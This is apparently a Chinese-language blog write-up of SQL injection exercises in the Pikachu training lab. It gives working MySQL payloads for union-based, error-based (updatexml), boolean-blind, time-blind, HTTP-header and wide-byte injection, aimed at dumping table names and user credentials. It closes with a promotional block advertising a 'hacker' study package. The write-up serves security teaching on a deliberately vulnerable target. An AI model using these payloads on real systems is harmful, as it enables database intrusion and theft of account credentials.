Pikachu靶场中SQL注入
- 1.Pikachu(皮卡丘)靶场中SQL注入
-
- 1.1.数字型注入
- 1.2.字符型注入
- 1.3.搜索型注入
- 1.4.xx型注入
- 1.5.insert/update注入
- 1.6.delete注入
- 1.7.http头注入
- 1.8.盲注(base on boolian)
- 1.9.盲注(base on time)
- 1.10.宽字节注入
1.Pikachu(皮卡丘)靶场中SQL注入
若遇到不链接的可以参考我的一篇文章,里面包括了绝大部分的注入方式,并且配合案例演示。链接:SQL注入基础原理与案例(超详细)
1.1.数字型注入
1)其实这里能够看到和dvwa靶场中的medium级别差不多,没有地方进行注入,只能进行抓包测试。

2)这里和上面的low级别一样,采用正常的联合查询。并且这里已经提示是数字型注入了,那么这里就不进行注入类型测试。直接查询显示位。
输入1 order by 3#发现报错,那么这里的数据库的列为1和2。
1 order by 3#

3)查询显示位名,输入-1 union select 1,2#
-1 union select 1,2#

4)查询数据库名,输入-1 union select database(),2#获取数据库名为:pikachu。
-1 union select database(),2#

5)获取数据库的表,输入-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=“pikachu”# 通过获取到的数据库表,我们只需要里面的users。
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="pikachu"#

6)获取数据库的列,输入-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=“users”#获取到数据库的所有列,而在里面我们只需要username和password。
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#

7)获取数据库的账号密码,输入-1 union select group_concat(username),group_concat(password) from users#获得账号密码,密码是加密的,可以进行解密就能获取到了。
-1 union select group_concat(username),group_concat(password) from users#

1.2.字符型注入
1)这里已经告诉了是字符型注入,但是还是需要测试一下什么闭合。输入kobe’ and 1=1#的时候页面正常,并且kobe’ and 1=2#页面不正常,证明使用单引号闭合。
kobe' and 1=1# 正常
kobe' and 1=2# 不正常

2)后面的注入方式和数字型基本一直,这里我就随便找几步进行测试。比如这里测试显示位。输入kobe’ order by 3#,就出现了报错。
kobe' order by 3#

3)查询数据库名,输入1’ union select database(),2#,上面是kobe而这里使用1就是为了让前面报错,执行后面的语句。
1' union select database(),2#

4)后面方式的和数字型注入都是一样的。
1.3.搜索型注入
1)这里的搜索型注入和上面的字符注入都是一样的,唯一的不同点是在里面需要使用%进行闭合,这个%是在源码中采用模糊查询,所使用到的,所以在我们注入的时候需要对这个%进行闭合。那么这里测试使用上面闭合的时候就需要输入k%’ and 1=1#这样就能够正常显示数据,当输入k%’ and 1=2#的时候就无法显示数据了。
k%' and 1=1#正常
k%' and 1=2#不正常

2)这里我们也不一步一步测试了,直接获取数据库输入k%’ union select database(),2,3#,可以看到我们也顺利获取数据库了。
k%' union select database(),2,3#

1.4.xx型注入
1)通过对输入的内容进行测试发现当输入kobe’) and 1=1#页面能够正常显示,而kobe’) and 1=2#则不能正常显示。那么这基本上可以判断此处是采用’)进行闭合。
kobe') and 1=1#正常
kobe') and 1=2#不正常

2)知道闭合了,那么就可以测试显示位了。这我测试得到的数据库是两列,而且输入kobe’) union select 1,2#后得到了显示位。
kobe') union select 1,2#

3)我们这里依旧只测试到获取数据库,其他的和数字型注入基本一直,除了闭合方式。kobe’) union select database(),2#,爆出数据库名。
kobe') union select database(),2#

1.5.insert/update注入
这里只是在注册处进行测试,当然还有修改信息的时候同样能够进行注入,可以自行测试。
1)这里就需要先进行注册,填入必填项,然后抓包。

2)把数据发入重放器中,并使用报错注入,在用户名后输入’ and updatexml(1,0x7e,3)and '进行测试,可以看到有报错回复。
' and updatexml(1,0x7e,3)and '

3)爆出数据库名,当输入’ and updatexml(1,concat(0x7e,database()),3) and '的时候就能够爆出数据库名,数据库名为pikachu。
' and updatexml(1,concat(0x7e,database()),3) and '

4)爆出数据库的表名,这里我们通过报错注入,获取到数据库的表名,但是我们只要users,其他的不感兴趣。主要是也用不到。
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' )),3) and '

5)爆出数据库的列名,当然这里是通过分页显示的,若不分页,显示的不全。
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),3)and '

6)爆出账号密码,都需要通过分页进行显示,若不分页则无法显示完全。
账号:' and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3)and '

密码:' and updatexml(1,concat(0x7e,(select password from users limit 0,1 )),3)and '

1.6.delete注入
1)这里先随便在留言板上输些内容,然后随便删除一个留言,并对其抓包。这里就会发现存在一个ID,可以对其进行注入测试。由于这里我们删除后并不会出现什么提示,所以这里使用报错注入测试。并且经过测试是数字型,字符型不会出现报错的内容。并且需要注意这里空格需要写出+或者%20。
id=57+and+updatexml(1,0x7e,3)

2)后续的注入测试和insert/update注入一样
1.7.http头注入
1)这里其实可以发现在登录后显示出很多信息,可以对这些显示信息的字段进行测试。

2)我们刷新页面重新抓包,经过测试发现在User-Agent: 和Accept:处可以进行注入。 这里我们就在User-Agent:进行测试。
' and updatexml(1,0x7e,3)and '

3)剩下的步骤和之前的一样的操作,这里就不过多操作了。
1.8.盲注(base on boolian)
1)在一些特定的情况下,会对报错信息进行隐藏,那么就无法使用报错进行注入。像这个就需要使用布尔盲注。

2)判断注入类型,通过对注入类型的判断,可以发现是使用单引号闭合。
kobe' and 1=1# 正常
kobe' and 1=2# 不正常

3)判断数据库名的长度,通过之前获取到的数据库名是pikachu。一共7位,当然在实际的环境中需要手动一步一步测试。
kobe' and length(database())>8# 不正常
kobe' and length(database())=7# 正常

4)判断数据库的名,判断数据库名需要一个一个字母测试,通过比对后,获取到的数据库名为pikachu,当然也可以使用ascii函数来进行获取。
kobe' and left(database(),1)='p'# 正常
kobe' and left(database(),2)='pi'# 正常
.........
kobe' and left(database(),7)='pikachu'# 正常

5)猜测数据库表的数量
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5# 不正常
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=5# 正常

6)猜测数据库表名,这里也只猜测一个案例,其他的还需自己动手测试。这里我们通过之前获取到的数据库表名有httpinfo…users。
第一个表第一个字母是h。
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0, 1),1,1))=104# 正常

第四个表第二个字母是s。
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 3, 1),2,1))=115# 正常

7)判断列有多少列,比如这里我判断user有多少列。
kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=4#

8)判断列中第一个列名的长度,通过控制limit的值来判断不同字段的长度。
kobe' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 #

9)判断列名,比如这里我就判断id,那么id的一个字母是i在ascii码中是105,所以正常,第二列需要变更limit后面的值来实现。通过获取,获得id列、username列、password列。
第一列第一个字母:kobe' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105#

第二列第二个字母:kobe' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115#

10)获取username中第一行数据的长度,若想测试第二行,那么修改limit的值即可。
kobe' and length((select username from users limit 0,1))=5#

11)获取username中第一行第一个字母的值。通过获取得到的值是a,整体是admin。
kobe' and ord(substr((select username from users limit 0,1),1,1))=97#

12)若想获取username中第二行第二个值怎么获取?可以通过修改limit的值进行获取。
kobe' and ord(substr((select username from users limit 1,1),2,1))=105#

1.9.盲注(base on time)
1)时间盲注,可以在对话框中输入用户名,不显示是否正确,那么这时候就需要使用到时间盲注。

2)使用时间盲注进行测试。这里使用原来的什么and 1=2啥的都不行了,需要使用时间盲注来测试,这里先测试闭合方式。
kobe and sleep(5)# 没有延迟
kobe' and sleep(5)# 延迟五秒

3)判断数据库名的长度,这里为了反应快点,把正确和错误的位置调整一下,把 sleep (5),1 调整为 sleep (1),5 意思就是正确了秒回,不正确则延迟5 秒返回。
kobe' and if(length(database())=7, sleep(1),5)#

4)判断数据库名。
kobe' and if((select substr(database(),1,1))='p',sleep(1),5)#

5)判断数据库内表的个数。
kobe' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(1),5)#

6)判断第一个表的长度。
kobe' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8,sleep(1),5)#

7)判断第一个表第一个字母。
kobe' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104,sleep(1),5)#

8)其实时间盲注整体上基本就是在布尔盲注的基础上增加if判断,并且与sleep配合,布尔盲注是当对的时候,返回正确的值,错误的时候返回错误的值,而时间盲注,不管正确还是错误都不会返回值,需要靠延迟判断。
1.10.宽字节注入
1)宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个 字符是一个汉字(前一个 ascii 码要大于 128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql 会调用转义函数,将单引号变为’,其中\的十 六进制是%5c,mysql 的 GBK 编码,会认为%df%5c 是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
2)测试宽字节注入,和联合注入是一样的只是在内容后面添加%df即可,通过在内容输入处输入内容,然后修改。比如获取显示位。
1%df' union select 1,2#


黑客/网络安全学习包


资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**

**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

8428

被折叠的 条评论
为什么被折叠?



